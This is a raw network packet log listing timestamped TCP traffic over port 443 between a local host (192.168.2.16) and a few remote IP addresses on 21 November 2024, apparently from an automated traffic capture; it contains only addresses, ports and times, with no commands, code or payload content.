Nov 21, 2024 14:44:39.999414921 CET	443	49735	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:39.999597073 CET	443	49735	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:39.999687910 CET	49735	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:40.000210047 CET	49735	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:40.000252962 CET	443	49735	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.035629988 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.035876036 CET	49738	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:40.035896063 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.036186934 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.036529064 CET	49738	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:40.036580086 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.036655903 CET	49738	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:40.036684990 CET	49738	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:40.036725044 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.181778908 CET	443	49737	185.156.109.33	192.168.2.16
Nov 21, 2024 14:44:40.182125092 CET	49737	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:44:40.182163954 CET	443	49737	185.156.109.33	192.168.2.16
Nov 21, 2024 14:44:40.183305979 CET	443	49737	185.156.109.33	192.168.2.16
Nov 21, 2024 14:44:40.183644056 CET	49737	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:44:40.183790922 CET	49737	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:44:40.183805943 CET	443	49737	185.156.109.33	192.168.2.16
Nov 21, 2024 14:44:40.183868885 CET	443	49737	185.156.109.33	192.168.2.16
Nov 21, 2024 14:44:40.227377892 CET	49737	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:44:40.334805965 CET	443	49736	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.334851027 CET	443	49736	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.334884882 CET	443	49736	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.334903955 CET	49736	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:40.334908009 CET	443	49736	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.334919930 CET	443	49736	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.334971905 CET	443	49736	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.334999084 CET	49736	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:40.335009098 CET	443	49736	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.335021973 CET	49736	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:40.343518972 CET	443	49736	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.343574047 CET	49736	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:40.343583107 CET	443	49736	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.387378931 CET	49736	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:40.387388945 CET	443	49736	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.435376883 CET	49736	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:40.454538107 CET	443	49736	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.458596945 CET	443	49736	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.458662987 CET	49736	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:40.458673954 CET	443	49736	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.498362064 CET	49736	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:40.535892010 CET	443	49736	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.541203976 CET	443	49736	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.541268110 CET	49736	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:40.541277885 CET	443	49736	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.548752069 CET	443	49736	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.548826933 CET	49736	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:40.548834085 CET	443	49736	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.556375027 CET	443	49736	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.556433916 CET	49736	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:40.556441069 CET	443	49736	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.564035892 CET	443	49736	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.564162016 CET	49736	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:40.564181089 CET	443	49736	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.564328909 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.564362049 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.564383030 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.564407110 CET	49738	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:40.564409971 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.564419031 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.564455032 CET	49738	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:40.564471960 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.564511061 CET	49738	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:40.564516068 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.571600914 CET	443	49736	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.571671963 CET	49736	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:40.571686029 CET	443	49736	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.572623014 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.572706938 CET	49738	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:40.572712898 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.586783886 CET	443	49736	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.586858988 CET	49736	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:40.586862087 CET	443	49736	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.586891890 CET	443	49736	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.586955070 CET	49736	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:40.589114904 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.589175940 CET	49738	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:40.589189053 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.594404936 CET	443	49736	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.602046013 CET	443	49736	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.602118015 CET	49736	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:40.602138996 CET	443	49736	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.609626055 CET	443	49736	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.609683037 CET	443	49736	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.609694004 CET	49736	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:40.609714031 CET	443	49736	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.609764099 CET	49736	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:40.617288113 CET	443	49736	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.624906063 CET	443	49736	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.624977112 CET	49736	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:40.624998093 CET	443	49736	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.641382933 CET	49738	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:40.673335075 CET	49736	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:40.673353910 CET	443	49736	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.684096098 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.721349955 CET	49736	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:40.736386061 CET	49738	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:40.736407995 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.738703012 CET	443	49736	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.741239071 CET	443	49736	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.741301060 CET	49736	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:40.741313934 CET	443	49736	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.751794100 CET	443	49736	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.751858950 CET	49736	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:40.751871109 CET	443	49736	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.759654999 CET	443	49736	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.759732008 CET	49736	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:40.759742975 CET	443	49736	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.759797096 CET	49736	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:40.769933939 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.770092964 CET	49738	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:40.770107985 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.770173073 CET	443	49737	185.156.109.33	192.168.2.16
Nov 21, 2024 14:44:40.770287991 CET	443	49737	185.156.109.33	192.168.2.16
Nov 21, 2024 14:44:40.770354986 CET	49737	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:44:40.770906925 CET	49737	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:44:40.770921946 CET	443	49737	185.156.109.33	192.168.2.16
Nov 21, 2024 14:44:40.772025108 CET	443	49736	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.772037029 CET	443	49736	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.772119045 CET	49736	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:40.772119045 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.772178888 CET	49738	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:40.772186041 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.775731087 CET	443	49736	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.775940895 CET	49736	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:40.779522896 CET	443	49736	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.779540062 CET	443	49736	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.779622078 CET	49736	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:40.787842989 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.787892103 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.787949085 CET	49738	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:40.787961960 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.788023949 CET	49738	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:40.788104057 CET	443	49736	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.788115978 CET	443	49736	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.788173914 CET	49736	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:40.796677113 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.796900988 CET	443	49736	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.796911001 CET	443	49736	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.796973944 CET	49736	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:40.805068970 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.805090904 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.805155039 CET	49738	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:40.805161953 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.805227995 CET	49738	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:40.805298090 CET	443	49736	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.805370092 CET	49736	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:40.809535027 CET	443	49736	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.809653997 CET	49736	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:40.813487053 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.818041086 CET	443	49736	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.818166018 CET	49736	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:40.822072983 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.822222948 CET	49738	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:40.822228909 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.826236010 CET	443	49736	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.826308966 CET	49736	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:40.831187010 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.831255913 CET	49738	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:40.831262112 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.831908941 CET	443	49736	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.831975937 CET	49736	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:40.837290049 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.837354898 CET	49738	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:40.837362051 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.838767052 CET	443	49736	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.838856936 CET	49736	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:40.844434023 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.844505072 CET	49738	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:40.844511032 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.846642971 CET	443	49736	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.846730947 CET	49736	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:40.858206034 CET	443	49736	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.858464956 CET	49736	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:40.859802008 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.859875917 CET	49738	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:40.859882116 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.885272980 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.885436058 CET	49738	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:40.885443926 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.938133001 CET	443	49736	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.938397884 CET	49736	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:40.940382004 CET	49738	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:40.945979118 CET	443	49736	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.946089029 CET	49736	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:40.950129986 CET	443	49736	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.950206995 CET	443	49736	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.950234890 CET	49736	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:40.950293064 CET	49736	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:40.950299025 CET	443	49736	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.950366020 CET	49736	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:40.950480938 CET	49736	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:40.950480938 CET	49736	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:40.966428041 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.970212936 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.970273972 CET	49738	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:40.970280886 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.978111029 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.978174925 CET	49738	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:40.978182077 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.992861032 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.993097067 CET	49738	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:40.993103027 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:40.993201017 CET	49738	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:41.006299973 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:41.006310940 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:41.006402016 CET	49738	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:41.006408930 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:41.006561995 CET	49738	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:41.015845060 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:41.015851021 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:41.015952110 CET	49738	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:41.021918058 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:41.021928072 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:41.022042990 CET	49738	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:41.025069952 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:41.025075912 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:41.025136948 CET	49738	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:41.030999899 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:41.031006098 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:41.031073093 CET	49738	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:41.037125111 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:41.037230015 CET	49738	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:41.040124893 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:41.040201902 CET	49738	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:41.046238899 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:41.046439886 CET	49738	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:41.053507090 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:41.053585052 CET	49738	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:41.055301905 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:41.055378914 CET	49738	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:41.061278105 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:41.061362028 CET	49738	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:41.067320108 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:41.067420959 CET	49738	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:41.168025017 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:41.168119907 CET	49738	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:41.172483921 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:41.172656059 CET	49738	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:41.178512096 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:41.178594112 CET	49738	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:41.181591034 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:41.181655884 CET	49738	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:41.187251091 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:41.187333107 CET	49738	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:41.189937115 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:41.190005064 CET	49738	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:41.194910049 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:41.194979906 CET	49738	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:41.199866056 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:41.199970007 CET	49738	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:41.204933882 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:41.205049038 CET	49738	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:41.207398891 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:41.207459927 CET	49738	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:41.207469940 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:41.207482100 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:41.207529068 CET	49738	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:41.207597017 CET	49738	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:41.207608938 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:41.207617044 CET	49738	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:41.207660913 CET	49738	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:41.210225105 CET	49740	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:41.210311890 CET	443	49740	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:41.210441113 CET	49740	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:41.210666895 CET	49740	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:41.210696936 CET	443	49740	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:41.417776108 CET	49741	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:41.417817116 CET	443	49741	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:41.417908907 CET	49741	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:41.418153048 CET	49741	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:41.418169975 CET	443	49741	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:42.595189095 CET	443	49740	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:42.595485926 CET	49740	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:42.595524073 CET	443	49740	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:42.596183062 CET	443	49740	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:42.596566916 CET	49740	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:42.596633911 CET	49740	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:42.596689939 CET	443	49740	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:42.648178101 CET	49740	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:42.674168110 CET	443	49741	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:42.674429893 CET	49741	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:42.674446106 CET	443	49741	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:42.674812078 CET	443	49741	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:42.675106049 CET	49741	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:42.675174952 CET	443	49741	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:42.675240040 CET	49741	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:42.719324112 CET	443	49741	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:43.066859961 CET	443	49740	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:43.067034006 CET	443	49740	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:43.067222118 CET	49740	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:43.068152905 CET	49740	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:43.068193913 CET	443	49740	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:43.136518955 CET	443	49741	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:43.136600018 CET	443	49741	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:43.136667967 CET	49741	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:43.136674881 CET	443	49741	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:43.136823893 CET	49741	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:43.137608051 CET	49741	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:43.137629032 CET	443	49741	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:43.465259075 CET	49742	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:43.465356112 CET	443	49742	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:43.465451956 CET	49742	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:43.465703964 CET	49742	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:43.465735912 CET	443	49742	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:43.965089083 CET	49743	443	192.168.2.16	4.245.163.56
Nov 21, 2024 14:44:43.965176105 CET	443	49743	4.245.163.56	192.168.2.16
Nov 21, 2024 14:44:43.965420961 CET	49743	443	192.168.2.16	4.245.163.56
Nov 21, 2024 14:44:43.965863943 CET	49743	443	192.168.2.16	4.245.163.56
Nov 21, 2024 14:44:43.965900898 CET	443	49743	4.245.163.56	192.168.2.16
Nov 21, 2024 14:44:44.726808071 CET	443	49742	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:44.727124929 CET	49742	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:44.727165937 CET	443	49742	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:44.728310108 CET	443	49742	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:44.728705883 CET	49742	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:44.728760004 CET	49742	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:44.728785038 CET	443	49742	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:44.728924036 CET	443	49742	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:44.783440113 CET	49742	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:45.202004910 CET	443	49742	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:45.202203989 CET	443	49742	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:45.202330112 CET	49742	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:45.202884912 CET	49742	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:45.202939034 CET	443	49742	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:45.205775023 CET	49744	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:45.205864906 CET	443	49744	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:45.205976009 CET	49744	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:45.206192970 CET	49744	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:45.206228971 CET	443	49744	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:45.584371090 CET	49745	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:45.584402084 CET	443	49745	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:45.584476948 CET	49745	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:45.584703922 CET	49745	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:45.584709883 CET	443	49745	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:45.713267088 CET	443	49743	4.245.163.56	192.168.2.16
Nov 21, 2024 14:44:45.713474989 CET	49743	443	192.168.2.16	4.245.163.56
Nov 21, 2024 14:44:45.717552900 CET	49743	443	192.168.2.16	4.245.163.56
